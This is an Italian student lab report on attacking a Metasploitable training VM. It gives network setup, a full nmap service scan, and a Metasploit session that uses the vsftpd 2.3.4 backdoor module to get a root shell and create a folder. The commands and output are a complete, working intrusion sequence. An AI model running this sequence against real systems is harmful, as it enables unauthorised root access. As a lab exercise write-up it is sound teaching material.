

# Relazione sull'Esplotto

## Cambiamento dell'Indirizzo IP del Server Bersaglio

Per prima cosa è stato cambiato l'indirizzo IP della meta con il comando:

```
sudo nano /etc/network/interfaces+
```

Da qui abbiamo potuto cambiare il vecchio indirizzo IP della meta in 192.168.1.149 e si è settata la kali di conseguenza perché le due macchine potessero comunicare

```
auto eth0
iface eth0 inet static
address 192.168.1.149
netmask 255.255.255.0
network 192.168.1.0
broadcast 192.168.1.255
gateway 192.168.1.1
```

Connection name **Ethernet connection 1**

General Ethernet 802.1X Security DCB Proxy **IPv4 Settings** IPv6 Settings

Method **Manual**

**Addresses**

Address	Netmask	Gateway	
192.168.1.100	24	192.168.1.1	<b>Add</b>
			<b>Delete</b>

DNS servers **192.168.1.1**

## Scansione delle Porte Aperte con Nmap

È stata eseguita una scansione delle porte aperte e dei servizi in esecuzione sul server bersaglio usando nmap tramite il comando:

```
nmap -sV 192.168.1.149
```

Risultati della Scansione:

```
(kali㉿kali)-[~]
$ nmap -sV 192.168.1.149
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-08 10:02 EDT
Stats: 0:02:00 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 95.24% done; ETC: 10:04 (0:00:05 remaining)
Nmap scan report for 192.168.1.149
Host is up (0.00054s latency).
Not shown: 979 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login?
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql?
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 186.30 seconds
```

## Attacco con Msfconsole

Si è utilizzato la Msfconsole per sfruttare le vulnerabilità della Metasploitable. Come da esercizio, abbiamo attaccato la macchina sul servizio "vsftpd".

```
= [ metasploit v6.3.55-dev ]
+ -- == [ 2397 exploits - 1235 auxiliary - 422 post ]
+ -- == [ 1391 payloads - 46 encoders - 11 nops ]
+ -- == [ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search vsftpd

Matching Modules
=====
#  Name                                     Disclosure Date  Rank    Check  Description
-  -                                     -
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal Yes    VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor      2011-07-03      excellent No     VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
```

Abbiamo cercato dei possibili exploit su Msfconsole con vsftpd come parola chiave e ne uscito uno.

Dopodiché Msfconsole è stata settata che il bersaglio dell'exploit fosse la Metasploitable

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.1.149
rhosts => 192.168.1.149

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.1.149
rhosts => 192.168.1.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.100:42835 -> 192.168.1.149:6200) at 2024-07-08 10:17:22 -0400

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  ---      -
  CHOST      192.168.1.100    no        The local client address
  CPORT      21               no        The local client port
  Proxies    []               no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     192.168.1.149    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      21               yes       The target port (TCP)

Payload options (cmd/unix/interact):

  Name      Current Setting  Required  Description
  ---      -
  CMD       cmd              no        The command to execute
  LHOST     192.168.1.100    no        The local host address
  LPORT     4444              no        The local host port
  RHOST     192.168.1.149    yes       The remote host address
  RPORT     4444              yes       The remote host port

Exploit target:

  Id  Name
  --  --
  0    Automatic
```

Grazie a questa debolezza, siamo riusciti ad entrare sulla shell della Metasploitable e da qui abbiamo creato una cartella come da esercizio con il comando

`mkdir /root/test_metasploit`

```
ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:c2:08:f7
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fec2:8f7/64  Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:4056 errors:0 dropped:0 overruns:0 frame:0
          TX packets:3936 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:341806 (333.7 KB)  TX bytes:553237 (540.2 KB)
          Base address:0xd240  Memory:f0820000-f0840000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128  Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:396 errors:0 dropped:0 overruns:0 frame:0
          TX packets:396 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:110533 (107.9 KB)  TX bytes:110533 (107.9 KB)
```

```
cd root
ls
Desktop
reset_logs.sh
vnc.log
mkdir /test_metasploit
```